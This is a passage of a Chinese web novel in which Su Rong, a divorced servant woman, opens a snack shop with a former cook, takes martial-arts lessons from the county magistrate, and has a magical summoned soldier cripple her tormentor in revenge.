“苏丫头,谢谢你之前的帮忙。这钱没机会用上,现在还给你。”
她火辣辣的眼睛,又涌出眼泪。
“周姐姐没这福分,用上你我的体己,知道我们两人的心意。”
苏蓉握住她的手:“张婶子,您别难过!周管事是个心思通透的人,她即便到了九泉之下,也会知道你待她的这份心意?”
“九泉之下?”
张婶子一阵惨笑。
“她常和我说,她这辈子为主子干尽坏事,双手染红。死后……的确只能去地府。”
苏蓉哑然。
黯然片刻,张厨娘主动打破沉默,转移话题。
“邓宅如今有些入不敷出。陶姨娘在想办法开源节流,允许部分奴仆赎身。苏丫头,我想趁机离开邓宅,一时半会,却不知能去哪里?”
在她心目中,苏蓉算是相当有主见且坚强的人,成功脱离人生困境。她陷入迷茫,希望有人为她指点迷津。
苏蓉心中一动。之前还想着怎么洗白通过金手指挣来的钱,张厨娘这一问,简直拨云见日,把机会送到面前!
“张婶子,你多年厨艺,还有管理大厨房的能力,不如出来自己创业啊?租家小铺子,从最简单的简餐卖起。凭你手艺,还怕不能经营下去?”
她如今在县衙厨房打工。说句实诚话,三个大师傅厨艺都不如张厨娘。
可能因为姜厨娘等人是聘,张厨娘是奴。做不好饭菜,张厨娘会受到惩罚甚至丢命。所以,不得不下狠心钻研手艺,以防遭主子嫌弃。
其间可是有本质区别!
张厨娘死寂的眼眸里,跳跃出一点亮光。随即,又黯淡下去摇头。
“不行!交了赎身钱,所剩无几。我又不识几个大字,如何当掌柜算账?还是想办法去别的大户人家做工妥当!”
苏蓉既然动了心,哪肯让她退缩,拍胸脯保证。
“张婶子,初期只租店面,卖些便宜吃食,成本并不高。本钱不够,我们可以合伙,共同出资啊?”
“还有,你字虽认得不多,不也能简单看账做账?按你原来画杠的方式记录,每天下工后,我来帮你整理核对。等店铺经营起来,按比例分红。”
“如何?”
第69章 合伙开店
张厨娘闻言,有点心动。
有信得过的人出资,搭档共负盈亏;还不用愁日后做账问题。这对处于绝境的她,实在是种莫大诱惑!
能当家做主,谁愿意低三下四再去当下人?
她迟疑道:“赎身出来,我手头最多剩二两银子。租店开店成本,少说要十来两,保障店铺三个月的正常运转。”
“这……”
她看着苏蓉,露出明显疑惑:“苏丫头,你能拿出这么多钱?”
苏蓉清楚,她若说有,张厨娘绝对会怀疑她钱的来路。
即使是比较信任的张厨娘,也不能暴露自己最大的秘密。
于是,她很模棱两可地笑笑:“我如今在县署內宅打工,月钱涨到一两。还认识县衙里很多人……到时差些钱,问人借不难!”
张厨娘信以为真,大大惊喜。
“苏丫头,没想到你现在这么出息,能近身服侍县令大人了?好好干,这份工作绝不能放弃!”
一两银子月钱算什么?重点是近水楼台,扯着老虎皮会在外受人尊重!
别看张厨娘只是厨娘,她在教谕家多年为仆,眼界并不浅。
都说丞相门前七品官。虽然苏蓉目前仅仅是县令身边的打杂,走出衙门,宜阳老百姓谁敢不给几分薄面?
她之前作为教谕家的厨房管事,那些来教谕家拜访的学子们,还对她客客气气,拱手作礼呢!
所以,张厨娘非但不怀疑苏蓉能筹集到开店资金,还畅想以后有苏蓉在,地痞混子们不敢轻易上门惹事?
一时间,张厨娘芥蒂周管事之死的伤心,也去了两分。人有了活下去的动力和希望,不会再一个劲钻牛角尖,悲春伤秋。
苏蓉更进一步劝说。
“张婶子,你这两日,赶紧自赎自身,以免夜长梦多,邓宅改了主意。我这里屋空,在店铺没开起来前,你可以先来我家住着。”
等店铺开起来,张厨娘就有家了,还能顺便守店。
张厨娘脸上放光,来时的颓废一扫而空。
“苏丫头,回去我便求见陶姨娘说这事。在她们眼里,我形同于无。给了赎身钱,多半不会为难我的!”
苏蓉点头。
两人又商量开店的具体章程。直到天黑,张厨娘才满怀兴奋希冀的心情,匆匆赶回邓宅。
此后几天,苏蓉过得前所未有的顺心。
曾嬷嬷看似严厉,实则手下人老实干活,不多言多语做出格的事,她很好说话。
而且叶清辞作为县令,是真忙碌。大部分时间泡在公务上,呆在內宅的时候很少。就连傅振与燕彬,也早出晚归。
苏蓉只将分配给自己的房间当成换衣间,不住这里,自然很难看到他们身影。
相处多日,苏蓉慢慢和罗碧珠熟悉起来。罗碧珠看似不善言谈,一旦扯到自家孩子身上,那是滔滔不绝,两眼绽放母性的光辉。
两个娃目前由婆婆带着,还没学爬,罗碧珠已经在畅想他们飞了。哥儿自然要读书考取功名,姐儿则多准备嫁妆,免得将来去婆家直不起腰杆。
苏蓉是个很好的听众,只笑不反驳,偶尔附和两句。这让罗碧珠觉得她随和可靠,朋友就是这么处出来的。
等到差不多夏末,张厨娘终于自赎自身,办妥良籍。和苏蓉一样,成为女户。
陶姨娘心狠手辣,对每一个自请离开邓宅的奴仆,几乎榨尽她们身上剩余的体己钱。
张厨娘除了贴身藏着的二两银,以前主子赏的银钗银镯之类,好些的衣物被褥,全部被留在了邓宅。
两件旧衣卷个小包裹,浑身上下没有一件饰物,张厨娘就这样走出邓宅门,落魄地来到苏蓉家。
苏蓉特意去集市买了面粉、肉、白菜。回来剁吧剁吧,团吧团吧,包一顿饺子,当给张厨娘接风洗尘。
从此张厨娘不叫张厨娘,正式回归自己本名叫张如英!
张如英对苏蓉感恩在心,暂时在苏蓉家里借住下来。白天去考察市场地段环境,晚上等苏蓉回来,两人商量开店事宜。
经过半个月纠结商讨,最后决定将小吃店开在靠近城门口的地方。
距离苏蓉家有半个时辰路程,与衙门较近。以后苏蓉下工,可以先到店盘账,再绕路回家。
利润也事先商量妥了。
苏蓉出资十两,张如英出资二两,出资比例为五比一。苏蓉负责管账,张如英负责掌厨管店。
因为掌厨管店肯定比较辛苦,所以利润的三成作为张如英的辛苦费。剩下七成按出资比例算,张如英占一成二,苏蓉占五成八。
最后总结,苏蓉分红五成八,张如英分红四成二。
如果店铺经营不善,或者倒闭,两人需各自承担的损失也按这个计算。后续想扩大经营再商量,初期暂且按这个比例算。
张如英很佩服苏蓉算账的头脑。
原本她出于感激,不打算将自己掌厨管店的辛苦,计算在内。苏蓉却事无巨细给她考虑到,不能不令她心服口服。
因为苏蓉白天要上工,张厨娘一个人忙不过来。所以小工必须请一个,帮忙打下手。顺便两个人一起,好应付些突发危机。
壮劳力的话,请男人比女人工钱高得多。两人这方面没有异议,决定按市场价,花几百文请一名粗使女工。
苏蓉也考虑过请方婆婆祖孙来。但上一次方婆婆表达得很清楚,她舍不得离家。只能等日后店铺发展起来,小兰长大再考虑。
苏蓉继续上工。
张如英拿着钱和证明,转商户、谈租金、找货源。如今宜阳县有叶清辞坐镇,吏治清明,几乎没有敢明目张胆收保护费的人存在。
就是张如英挑选小工的眼光太高。徐牙婆前后介绍十来人,张如英看来看去,好不容易定下一位年近四旬的婶子姓项。
男人在城里做挑夫,她接些缝补浆洗的活儿。本来日子勉强过得去,随着近来流民增多,生活逐渐窘迫。
张如英工钱开到四百文一月,不算高胜在稳定。
这项婶子想长期稳定做工;老家北方爱吃面食,又有一手和面发面的本事。故而张如英最后选定她。
第70章 叶清辞的另一面
差不多筹备一个月后,苏蓉和张如英挑选黄道吉日,噼噼啪啪放顿爆仗,张记炊香阁正式开业。
二两银子租来的店面,不到三十平方,简单装修清扫。前面店堂,后面厨房兼卧房。灶台桌凳是前任店家留下的,可以接班继续为老百姓服务。
店内三桌,门外午间和夜间加两桌。但要注意城防巡逻队,如当场被抓住,说占道经营、或则到了深夜宵禁时间,要罚钱的。
项婶子工作主要内容跑堂搞卫生,顺便盯着食客们有否逃单,城防队有没有来?
至于售卖商品,两人头碰头研究一番,决定主营馒头、稀饭、面条三种。
这时代面食有馅无馅,统称馒头。清代时“包子”“馒头”的称谓,才逐渐细化。
苏蓉打算从自家店做起,先把这称谓分开。
她做了块牌子挂门口。写明馒头一文一个,带馅包子素的三文,荤的五文,买十个送一个,量大从优。
稀饭和面条比照市价,不多收不少收。避免同行嫉恨,恶性竞争,自家要以质取胜。张如英几十年厨艺,如今派上大用场。
在苏蓉建议下,她用菜汁将面团染色,馒头随手捏出各种好看花型。让人一见,以为是精致点心。
性价比直线拉升!
馅料更是种类繁多。素馅取当季蔬菜用肉油炒;鸡肉鸭肉猪肉羊肉,皮薄馅大,咬一口汁水四溢,香味钻进骨髓。
同样价钱,张记炊香阁能买到更好,你说老百姓愿意去哪家?
张如英一身圆胖胖满脸福气相,能说会道。不笑自带三分喜庆,来往顾客均觉得店主有眼缘。
苏蓉本来准备搞什么日常促销,会员制等,一律没派上用场。
开业第一天酬宾,半天功夫把准备好的食材用干净,成品卖精光。连她这个没出师的学徒,也赶鸭子上架,放下账本马不停蹄拧菜汁和面。
张如英的手艺,尝过的人短期内不会考虑第二家。再推销,苏蓉怕自己上工去了,店里两人忙不过来。
项婶子自己也觉实惠,让男人吃饭时来店里购买,顺便给孩子带回去。
一来二去,项婶子的男人又介绍来不少挑夫同伴。挑夫们食量大,吃过都说好,短时间内把小店传成口碑。
就连张如英自己都没想到,她的厨艺会这么受欢迎!
果然人要走出来。一直呆在邓宅,她只能看见头顶狭小的那片天。
确定自家店售卖的吃食能在县城扎下根,苏蓉一直隐约不安的心回归实处。
一切在往好的方向发展。她们会扎根这个小县城,抛弃过去一切,融入到这鲜活生动的市井生活中去。
不过她没敢把店里吃食往衙门里带。
叶县令等人未必喜欢大众食品。她在厨房里做过工,当着姜厨娘三位大厨的面,炫耀别的厨师烹饪的食品,不是自讨没趣?
偶尔听杂役们议论,附近那家老字号陈记食坊关张,又开家新的张记炊香阁,生意火爆,似乎味道不错?
她默默自得。这是终于把自家店打响名头了!
时间一晃进入伏月,赤日炎炎。
为避暑,苏蓉早早出门上工。不过无论多晚,她都会回家。不为别的,就为夏季那一桶冰浸的井水,能让她从头凉爽到脚。
上工时间的变化,遇见叶清辞的次数随之增多起来。
五更天,搂着扫帚扫地,能看见叶清辞、傅振、燕彬三人,闻鸡起舞,在院子里练剑比画。
苏蓉免不了被曾嬷嬷指派,在旁端盆打水侍候。不知不觉,便被这种以前绝对接触不到的武功,深深吸引住了。
无人时,她会偷拿扫帚,模仿三人动作练习。幻想自己有朝一日,能一个打三个。
金手指见不得人。但学会的武艺,实实在在能正大光明拿出去。
叶清辞汗水打湿衣衫,转身进屋擦把汗、换衣裳出来的功夫,便见苏蓉躲在拐角,举着扫帚,用笨拙的动作起舞。
他默了一下。
别说,虽然这苏娘子腿抖手抖身子摇晃得厉害,但那架势有模有样,没有记错他们使过的一招一式。
这记心大有可为,怎么就用在这上面了?习武最好自幼打基础,半路出家,可谓难如登天。
那边厢傅振与燕彬还在捉对练习。苏蓉全神贯注偷师,压根没注意身后有人靠近。直到一声熟悉的嗓音响起。
“你对习武有兴趣?”
她吓掉手里扫帚!
赶紧捡起来,老大讪讪:“大人,你们武艺高强,看得我目眩神迷忘了呼吸?一时情不自禁才会跟着比画……”
越拍马越小声。干活期间被领导抓包,不会被当场解雇吧?
迎着苏蓉惴惴的眼神,听着她出口流畅的奉承话,叶清辞忍不住笑了笑。
明明很讨厌人溜须拍马,但不知为什么,苏蓉夸大其词讨好,他不反感?可能对方清澄的眼神,能感觉出对自己是真心敬重的?
“想习武,单记住招数可不行,要练基本功。”
兴致好,叶清辞随便蹲了个马步给苏蓉看:“你先学会扎马步。什么时候下盘稳住了,我再教你下一步。”
苏蓉后知后觉反应过来,惊喜不已。
“大人,你愿教我学武?”
她立即放下扫帚,学着摆出蹲马步的姿势,急切请教他自己有哪里做得不对。
叶清辞简单纠正苏蓉的姿势,又列举其他基础训练:“除了扎马步,平日再多做一些压腿、踢腿、下腰、站桩、手型手法、步型步法的训练。”
他不认为苏蓉一个芊芊弱女,能狠下决心习武。只当繁忙公务的休闲放松,兴之所至教其入门,算种小小乐趣。
苏蓉想的则是,若她不久后能练成拳脚,将金家兄弟按在地面摩擦,那种拳拳到肉的感觉,才是真舒爽!
两人一个随兴教,一个认真学,一早上很快过去,全然没注意他人异样的眼神。
傅振挺惊讶地用手肘捅身边的燕彬:“彬哥,苏娘子竟然对学武有兴趣?她那小身板,怎么会想到这个,啊哈哈!”
他单纯报以嘲笑。燕彬目光,锐利却似掩藏阴霾。
盯着角落里那言笑晏晏的人,这是他以前从未见过叶清辞的另一面。
第71章 异样感觉
年少成名的探花郎,当年与状元、榜眼跨马游街,一笑倾城,令无数京城贵女疯狂追逐。
有多久他没有看到对方轻松恣意的模样了?
而今天,面对那个又黑又干的农女,一名弃妇,竟然展露出前所未有的温和笑容!
眼底褪去昔日锋芒,唇角弯起的弧度,如春风荡漾,送出不设防的暖意。全然不似众人印象中,那位冷面铁腕的探花郎。
这怎么可以!
他忘记她了吗?
他怎能忘记她!
苏蓉专心致志揣摩学习叶清辞教授的东西。远处燕彬投来幽深的目光,浑然不知。
对她而言,能近距离接触叶清辞,固然是件开心事,但她没忘掉自己目前身份。
她才十七,已贴上“弃妇”标签。
换在现代,尚可天真幻想下未来。但在古代,等同于判了死刑,很难再觅良人。何况跨越阶层,去追求不属于自己的东西呢?
叶清辞的笑容,免不了激起她内心一圈圈荡漾开的涟漪。但当涟漪散去,理智回笼,仅剩惘然。
不敢深究自己内心,苏蓉尽力让自己变得忙碌。
起早贪黑。
待到月底,张记炊香阁结账,成果喜人。刨除成本后,净利十二银子。
怪不得说非经商不能昌业。以末起家,才能以本守之,徐徐发展。
这十二两银子她和张如英商讨,暂不做分红,留为流动资金。毕竟下个月不一定有这个月的业绩。租金、进货、人工、税费,都要从此出。
有时在店耽搁晚了,苏蓉索性留在店里,和张如英一张小床挤着睡,以便次日能及早赶到衙门上工。
叶清辞有晨起练剑的习惯,刮风下雨不会中断。只有这时,她才有机会请对方教导自己。
叶清辞心目中,可能认为她好学上进。她自己心里认为也是。殊不知,这种行为自欺,欺不了人。
曾嬷嬷分配给她的活儿越来越多,燕彬瞅她的眼神,越来越不善。
倒是傅振,什么也没察觉出。
叶清辞不得空时,还会笑嘻嘻代为指点一二:“我们三人,武功最高的其实是燕典史。苏娘子,你一开始便拜错码头了!”
苏蓉只能陪笑。
她哪敢去烦燕彬?
初见面那气势;公堂之上差点一剑将她劈成两片!叶清辞表面清冷疏离,人熟后很随和;燕彬则是从头到脚,冷到骨子里。
每次看她的眼光,像在打量一个死人。
无需开口,她自动敬而远之。
练基本功非常苦,但她咬牙坚持。早起得空在衙门练一番,晚间在床前练一番。
一开始浑身酸疼偷偷哭,到后来慢慢察觉出练习的好处。身体变得轻盈,脚步变得稳健。
摸摸腰身,软软的肉皮子好像变得紧实起来有弹性。对镜捏捏脸蛋,肉肉长出来。张婶子一有机会就投喂她,终于实现把她养胖点的小目标。
而且长期不用下地干活,肤色渐渐养回来。由原先的黝黑粗糙,变为深棕。想必再过一段时间,能变成健康的小麦色?
对着镜子,慢慢摸自己的脸,苏蓉莫名有了丝信心。想着叶清辞,不觉神思恍惚。只是短暂酸甜回忆后,留下的是抚不平的痛苦。
她能直觉感受到,对方对她也是有好感的。但两人之间相隔天堑,连想,也不敢往那方面想。
“啪啪”!
叶清辞折根树棍儿,轻轻在不断走神的苏蓉头上,敲了敲。
“既然要学,就专心学!你半路出家,资质又不行。若再不努力,学也白学,不如趁早放弃!”
看在苏蓉好不容易坚持两个月的份上,他由一开始随意心理,变得有两分重视传道授业。结果这时候苏蓉开小差,不能容忍!
苏蓉长期干粗活,力气相对于普通女人还行。加上刻苦,即便达不到习武者的正常进度,强身健体,关键时刻自保,大有益处。
这就是叶清辞愿意百忙之中,抽空督促她练习的原因。
苏蓉咧嘴一笑,不好意思地专注摆好姿势:“大人,我错了,下次保证不再犯!您再给我讲讲那手型手法?”
叶清辞沉腰,握拳,摆出架势。
“你看,像这样。扭腰转胯、脚蹬地发力。配合手臂舒展的瞬间爆发力,同时注意呼吸,可以使拳头用最大力量打出去!”
苏蓉学着做动作。
叶清辞没眼看。嘴上纠正数次不见效,忍不住用手指实际点她关节处,握住她的拳头调整方向。
苏蓉心头砰砰直跳。
眼角余光注视对方的猿臂蜂腰,两条大长腿,面上火辣辣的。好在肤色黑,红一点看不出。
叶清辞察觉握在掌心里的纤细拳头,皮肤如同经历风雨的蓑衣,刺刺拉拉。比他经常执笔拿剑,生出老茧的手还要粗糙。
不禁低眉垂眼,目光在那双手上一扫而过。看到上面旧的伤疤添上新的伤痕,胡乱绑扎布条,微微一滞。
那种不愉快的异样感觉,很快被压回心底。
他板着脸:“就这样,以后自己勤加练习。记住,学武是为自己强身健体,不为逞强斗狠!”
他知道她心里埋藏仇恨。
但他教她武艺,可不是让她为了报仇。
金竹海身为武将,体格摆在那里。苏蓉再练十年,未必是其对手。
他不过希望她面临危险,有逃命的机会罢了!
晌午苏蓉勤勤恳恳打扫房间,擦洗廊柱门窗。早上练武耽误时间,属于自己的活儿,只能趁大家午休时间做。
她正卖力地干活,燕彬什么时候出现在身后都不知道。直到后脑有种头皮发麻的感觉,她猛然回头,看见燕彬的手,刚从剑柄上离开。
她没有错过对方眼中一闪而逝的敌意。
“苏氏!”
燕彬抛过来一样东西,她慌手慌脚丢下抹布接住,差点没因踩滑凳子摔倒。定睛一看,是个巴掌大的青花瓷瓶,瓶塞系着红绸带。
“这是大人赏你的伤药。”
燕彬表情冰冷。明明叶清辞好意赠药,从他口中而出,好像是赐下一瓶毒药。
苏蓉茫然握住药瓶,有点呆。不解燕彬为什么这么厌恶她?明明一开始,对方和傅振一样,只把她当作普通百姓啊!
什么时候得罪对方的,她浑然不知。
“你……”
燕彬欲言又止,狠狠盯她一眼。
“好自为之!”
第72章 她不过卑贱之人
苏蓉茫然捧着药瓶。过了会,才慢慢扶着廊柱,爬下凳子。
得罪毒舌的傅振不怕,送只味道鲜美的烧鸡,很容易就哄好了。
甚至得罪叶清辞也不怕。叶清辞最大可能是冷脸,浑身散发寒气。但不会不讲道理,视人命如草芥。
只有素来冷漠寡言的燕彬,猜不透他在想什么?苏蓉毫不怀疑,对方那柄剑痛饮过人血。
与叶清辞或傅振对练时,出手即凌厉的杀招,看得人心惊胆战,担心他收不住势。所以大多数情况,叶清辞只找傅振喂招。
摩挲下手中药瓶,心中有暖意,还有因燕彬古怪态度升起的疑问。
难不成,对方对她的不满来自叶清辞?叶清辞和她一样,是否也有那种……说不出口的意思?
她猛然攥紧药瓶,一颗心怦怦直跳。望一眼叶清辞所在的正屋,两扇大门虚掩着,不禁想过去窥探究竟。
就……
假借感谢赠药的名头好了。去看看他有什么反应?
苏蓉下意识两只脚轻轻往正屋走。
曾嬷嬷说过无召唤,不得擅自进入正屋的警告,被她暂时性抛到脑后。
她又不是故意的!
大人赠药,她去谢赏,合情合理啊?
然而,刚走到门口,手伸出去还没扣在门板上,里面传出的对话声音,让她如触电般收回。
“大人,这么快你便忘记昭宁公主了?她葬在帝陵,尸骨未寒!”
燕彬语气不善,强抑愤怒,声音听起来格外冰冷。
苏蓉一惊,缩在门背后,大气不敢出。
理智迫切想掌控身体离开,但两条腿不受控制钉牢在地面,想听清叶清辞的回答。
叶清辞同样愤怒,质问:“燕彬,你此言何意?”
燕彬哼一声。
“这么多世家千金,当年竟相追逐你,不见你对谁在意。可那苏氏……你一而再、再而三为她破例,甚至亲自教她习武,为什么?”
叶清辞冷然:“本官私事,与你无干!”
门外,苏蓉双手颤动,差点拿不稳药瓶,掉在地上。
“好一个无干!”
燕彬冷笑。
“可叶大人您别忘了,您是因为什么,被调任到这小小宜阳县来?”
叶清辞一阵沉默。
偷听的苏蓉,此刻心跳如鼓。一方面为燕彬指责的话陷入巨大惊喜中;一面又着实纳闷。
昭宁公主是谁?
叶清辞来这宜阳县,真正原因是昭宁公主吗?
若叶清辞如燕彬所言,对她确实有与众不同的好感,燕彬如此愤怒为哪般?
为那位“尸骨未寒”的昭宁公主?
苏蓉隐隐感觉自己陷入一团可怕的沼泽。惊喜过后,是害怕、恐慌。
假如……
“燕彬,你僭越了!”
叶清辞声音恢复冷静,带着一种说不出的厌烦。
“就算重寻鸾俦,苏氏她不过区区下人,被休的弃妇。本官岂会看上这样一个身份卑贱的人?”
“你不止是在羞辱我,也是在羞辱昭宁公主!”
苏蓉突然觉得心脏一紧,仿佛被人狠狠一把捏住。之前所有的迤逦幻想,统统不见!
顾不得失态,眼见罗碧珠提着水桶从院门外走进来,疑问的目光似在惊奇,她为什么站在正屋门口?三步并作两步,直接钻进另一间厢房。
屋内两人武功在身,自然察觉出门外有人偷听。
燕彬微抿着唇,眼神掠过一抹得意。
叶清辞攥紧手中笔杆,用尽浑身力气,才能克制自己怒意不溢于言表。只是冰冷地看了燕彬一眼,淡淡道。
“现在本官回答,应该能令你满意?燕典史,无事请你退出去!”
燕彬沉着脸,躬身行礼。
“卑职失礼,请大人恕罪!卑职告退!”
叶清辞定定看着案桌上的卷宗,再看不进去一个字。
一进到无人房间,苏蓉眼泪就流了下来。
哪怕她已很习惯“弃妇”这个名头,甚至别人怎么当面议论,她都不以为意。可是,这几个字一旦从叶清辞口中出,便如一把利刃,钻心而过!
好像他亲手将她从地狱中拉出去,又狠狠将她再次推入黑暗深渊。
果然先前自不量力的感情,是一场笑话。除了让她变得更加狼狈,毫无意义。
也是这个时候,她惊觉自己竟然不知不觉陷进去那么深!胸口越疼,越表明她的愚蠢。
爱的种子尚未落地生根,便被人粗暴揉碎。
罗碧珠进来,看见苏蓉认认真真擦着每一件家具,心里松口气。之前苏蓉站在正屋门口,倘若被曾嬷嬷发现,又少不得挨训。
她想提醒苏蓉做事小心。如今见苏蓉异常平静的样子,又觉得自己想多了。或许苏蓉是无意间走到那?
换个话题:“苏妹子,你还没干完活吗,我帮你?”
苏蓉理理垂下来的发丝,挡住自己眼睛,笑一笑。
“没事,我很快干完了。碧珠姐,你先去歇着!”
“我再去检查一遍。”
罗碧珠哪能让自己歇着?
长眼的人,都能看出县令大人对苏蓉不一般。傅大人与苏蓉也较亲近。苏蓉躲懒不一定被斥逐;她偷懒,多半保不住这份活儿。
只不过人与人的际遇本来不相同,她不嫉妒苏蓉。自己有家有室生活平安幸福,苏蓉身世浮萍堪怜,大人们心怀仁慈,想也是同情她而已。
看着罗碧珠离开,苏蓉拿着那瓶药,垂眸凝视片刻,出门悄悄扔进了垃圾桶里。
以后,她还会坚持练武,但不会求着叶清辞教导。美梦做久了,差点忘记自己是谁,真是不应该!
下工照旧去厨房打包自己的份例菜,准备带回张记炊香阁吃。
刚出衙门,被从后面匆匆赶上来的一人,重重撞在手肘上。提的饭盒掉在地上,饭菜撒了一地。
那人力量不轻,而且这么宽的路都能撞上来,十有八九故意的!苏蓉愤恨着转身,果然瞧见的,是金安福一张讨嫌的脸。
“哎呦!”
金安福故意叫的比她还大声:“你这人走路怎么不带眼睛的?汤水溅爷衣裳上,叫爷待会怎么赴宴?”
发现苏蓉眼睛红肿,误以为被自己欺负哭了,露出得逞的笑。衙门附近不敢多逗留,丢下一句。
“算了,大爷赶聚会呢,就先原谅你这个蠢货了!”
苏蓉拾起空食盒,看看没办法挽救的晚饭,再望向金安福的背影,心中杀机涌现。
正好心情不好……拿这小喽啰练金手指吧!
她抬脚跟踪上去。
第73章 摔成这样下饭
上次被对方意外跑了,这一次,可没人会来救他!
金安福哼着小调,目的地还是花街柳巷。
这就是个记吃不记打的德行!上次险些因叶清辞办案收网,殃及池鱼。这回以为风头过去,又不知死活跑去潇洒。
他在头前走,根本没想到催命阎罗后面跟!
到了僻静处,苏蓉看看左右无人,直接摸出一粒豆子掷在地上。
铜甲兵现身。躬躬腰,身长八尺,容貌雄伟。
“奉吾主召唤!”
苏蓉手指快要跨进一家青楼门的金安福,眯眯眼。
“隐形,去打折那个男人的手足,不要被人看见!”
她现在不会立时取金家兄弟的狗命,只想让他们零零碎碎多受苦。
铜甲兵化为一道旋风冲出去!
一个瞬间,就将金安福揪住后领拎在半空,狠狠朝地面砸下去——
这是苏蓉所能看见的。
而现场的两名龟奴,只见金安福一脚踩空,双足离地头朝下,以极其诡异的姿势摔进他们青楼!
“砰”!
平沙落雁!脸着地!大地嗡嗡震三颤!
金安福发出惨绝人寰的杀猪叫。他的四肢,先后被铜甲兵蹦跶到身上踩折了!
完成任务的铜甲兵直接化为清风消失。嘴巴合不拢的两名龟奴,赶忙跑向客人,想要搀扶一把。
“大爷,你这是怎么了?”
金安福疼得眼泪鼻涕一大把,挂在脸上。拼命蠕动身体,像一只在粪池里挣扎的落水狗,歇斯底里嚎叫。
“你大爷的!你们XX的!弄这么高的门槛,故意磕绊客人!我要带衙门兄弟来,拆你们大门、封你们店……”
他完全没搞清楚状况。
两名龟奴一听,不乐意了!
你自己猴急进门,迫不及待找姑娘,摔倒了还想碰瓷咱家青楼?他们可是正当挂牌营生,后面不是没有背景的。
这小衙役找死!
两名龟奴缩回原本想搀扶的手,不客气在金安福身上、脸上,又加了几拳头几脚,骂骂咧咧。
“哪来不开眼的小王八蛋,敢在我们吴五爷地盘上找茬!想碰瓷怡翠楼,也得问你有没有那个本事?”
闻讯赶出来的老鸨,看着在地上打滚哀嚎的金安福,眉头一皱,团扇掩住红艳艳的嘴使唤两名龟奴。
“把这小子抬去还给衙门,对县令大人如此这般说……”
她附耳对两名龟奴一阵嘀咕,面授机宜。龟奴们心领神会,去找了块门板来,把金安福放上去。
闹哄哄的时候,苏蓉已趁乱悄悄离去。
第二天上工,苏蓉去厨房取餐,便听见杂役们偷偷传八卦。
昨夜,金安福被怡翠楼的人送回衙门。说金安福与人争风吃醋,被对方套麻袋,打晕在黑巷子里。
至于金安福号哭,是怡翠楼门槛太高,摔伤了他。众人哪里肯信,交头接耳,简直笑疯了。
叶清辞闻报,愤怒不已。金安福身为手下公职人员,在外如此丢人现眼,抹黑衙门。不管金安福受着伤,让人又去打了金安福二十棍子!
若不是一班平日与金安福臭味相投的衙役苦苦求情,还念着其大哥金竹海的军职,叶清辞当场就要把这小子扫地出门。
不过,就算手下留情,金安福伤上加伤,趴在班房的通铺里,也只剩哼哼唧唧的份,爬不起来了。
想到老金氏和金竹海不久后赶来,看到金安福的惨样,苏蓉兴致一高,多吃半碗饭!
此后,她天天卡点上工,不打算再见到叶清辞。
贱民该保持贱民的样,别不识趣往上凑。
老金氏在丰定村,金竹海在军营,两人得知金安福出事有点晚,赶到衙门是三天后。
老金氏坐了辆村里牛车。金竹海借军营里的马,请假来看望弟弟。
母子三人在后角门门房团聚。看到遍体鳞伤,包裹得像粽子的儿子,到底母子连心,老金氏忍不住抱住金安福,嚎啕大哭。
“安福,你咋这么没出息!走个路都能摔成这样?”
金竹海见弟弟被老娘抱得直翻白眼,连忙上前将老金氏搀开。心里不爽也窝火,忍不住训斥弟弟。
“混账东西!叫你别往那腌脏地跑,你倒好,三天两头去,还与人争风吃醋被打断手脚?若不是救治及时,你下半辈子只能躺床上!”
他听到的版本,与老娘和小弟自欺欺人的版本可不一样。
金安福委屈得要死。
“大哥,明明是那怡翠楼门槛过高,磕绊着我……”
谣言以讹传讹,他浑身长嘴说不清。快恨死怡翠楼的人了!
当然,他更恨的是县令叶清辞。
本就没脸了,对方还当众杖责他二十棍子,害他伤上加伤!若非行刑的衙役放水,他只怕会被当场打死。
“大哥,那怡翠楼的人欺人太甚!害我平白受伤,还故意造谣中伤我?”
他哭得一把眼泪一把鼻涕。
“叶清辞那厮更不是东西!明知大哥你在军中有头有脸,也不给咱家面子,处处针对小弟。他哪里把你这军屯长放在眼里?”
老金氏大惊失色,慌忙站起来关紧门窗,生怕被外面来往的吃瓜群众听见。
“你作死啊,敢指名道姓骂县太爷?你大哥只是驻军的一员小小武官,人家可是一县父母官!”
经金竹海时不时教导,老金氏逐渐也懂得低调做人、别妨碍大儿子仕途的道理。此刻顾不得慈母心肠,狠狠拍了拍二儿子的脑袋。
疼得金安福哼哼唧唧。
金竹海走到窗前,看门房外的动静。见金冬梅蹲在影壁附近,老实替他守马,收回目光,狠狠瞪金安福一眼。
“都弄成这鬼样子了,放老实点,一会找人抬你回家,好好养伤。怡翠楼背景不小,郑校尉有份额,你再瞎嚷嚷,老子都保不住你!”
至于叶清辞……他狠狠拧眉。
前仇旧恨堆积在那里,总有一天,逮到机会要一并清算。
苏蓉混在看热闹的杂役里面。瞧见门房的门窗关紧,她悄悄靠近金冬梅,两人心照不宣用眼神打了个招呼。
“冬梅,你的亲事……”
借住马匹的遮挡,金冬梅飞快地和苏蓉传递信息。
“大哥回来,让此事作罢了!”
鲁班头至今半身不遂躺在床上,眼见差事被人顶去。毫无利用价值的一个鳏夫,家人怎可能还将她许配过去。
“那就好!”
苏蓉弯起唇角。
“但是大哥他……”
金冬梅欲言又止。此时一辆马车驶来,停在后角门,所有人视线都被吸引过去。
第74章 大哥不要说给我
只见车内先跳下个绿衣小丫鬟,随后从车内扶出自己主子。
那少女素白指头勾着嫩黄的裙裾,象牙色绣鞋堪堪触及地面。如同一朵初绽的花蕾,轻盈着地。
精致步摇在她发髻间摇曳,荡漾出细碎银光。玉瓷般肌肤,在夏日的阳光下显得越发耀眼。
金冬梅怔怔看着,心里充满自忏形秽。
等她稍微回神,苏蓉已不知去向。
苏蓉低头急匆匆赶回县署內宅。一边赶,一边心里狐疑不快。
邓慧为什么会上衙门来?就算她老子是教谕,看望父亲也不该来衙门啊?
多半奔着叶清辞来的。
八品教谕之女,在他眼中便不算贱民了吧?
她极为气苦地一笑。
把守后角门的衙役,自然是认识教谕家千金的。赶忙上前乐呵呵迎接。
“邓小姐怎么会来衙门?”
若是看望父亲邓教谕,应该去隔壁县学啊?
邓慧一脸娇羞,握紧手中折扇道:“昨日叶大人视察县学,不慎遗落一柄折扇。家父忙碌无暇分身,我便给叶大人送还回来了。”
衙役有点呆。
一把扇子?
随便派个下人就送还回来了啊,有什么必要教谕千金亲自出马?
金竹海听到交谈声,推开半扇窗户,朝外张望。
金安福屁股挨了棍子,不能躺只能趴。他床靠着窗子,下巴垫着被褥,偏过头,高度刚巧能望到窗外。
一看清邓慧容貌,顿时眼珠子快瞪凸出来了!
老金氏也好奇伸头瞧外面。
“老大,这是谁家姑娘?”
